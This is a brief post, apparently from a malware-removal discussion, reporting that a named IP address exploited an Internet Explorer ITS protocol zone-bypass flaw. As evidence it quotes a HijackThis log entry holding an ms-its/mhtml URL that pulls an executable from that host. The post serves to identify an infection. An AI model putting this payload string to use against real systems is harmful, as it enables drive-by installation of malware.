208.53.130.46 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {10003000-1000-0000-1000-000000000000} - ms-its:mhtml:file://C:\\c.mht!http://208.53.130.46/free/cnt/77000...hm::/dbtemp.exe
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